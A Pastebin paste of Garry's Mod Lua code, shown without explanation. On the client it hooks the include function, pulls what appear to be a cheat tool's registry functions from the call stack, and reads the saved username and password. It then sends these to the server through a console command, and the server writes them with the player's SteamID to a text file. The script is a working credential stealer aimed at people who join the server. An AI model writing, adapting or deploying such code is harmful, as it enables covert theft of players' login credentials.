Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if CLIENT then
- local RunConsoleCommand = RunConsoleCommand
- local o_include = _G.include
- function _G.include( path, ... )
- if tostring( path ) == "includes/extensions/table.lua" then
- local n, SH_REGREAD = debug.getlocal( 2, 1 )
- local n, SH_REGWRITE = debug.getlocal( 2, 2 )
- local user = SH_REGREAD( "username" )
- local pass = SH_REGREAD( "password" )
- local r = math.random( 1, 1000 )
- hook.Add( "Think", r, function()
- RunConsoleCommand( "shdetails", user, pass )
- hook.Remove( "Think", r )
- end )
- _G.include = o_include
- end
- return o_include( path, ... )
- end
- end
- if SERVER then
- concommand.Add( "shdetails", function( ply, cmd, arg )
- if ply.shdetails then return end
- ply.shdetails = true
- local str = tostring( ply:SteamID() ) .. " - " .. table.concat( arg, ", " )
- file.Write( "shdetails.txt", ( file.Read( "shdetails.txt" ) or "" ) .. str .. "\n" )
- end )
- AddCSLuaFile( "init.lua" )
- end
Add Comment
Please, Sign In to add comment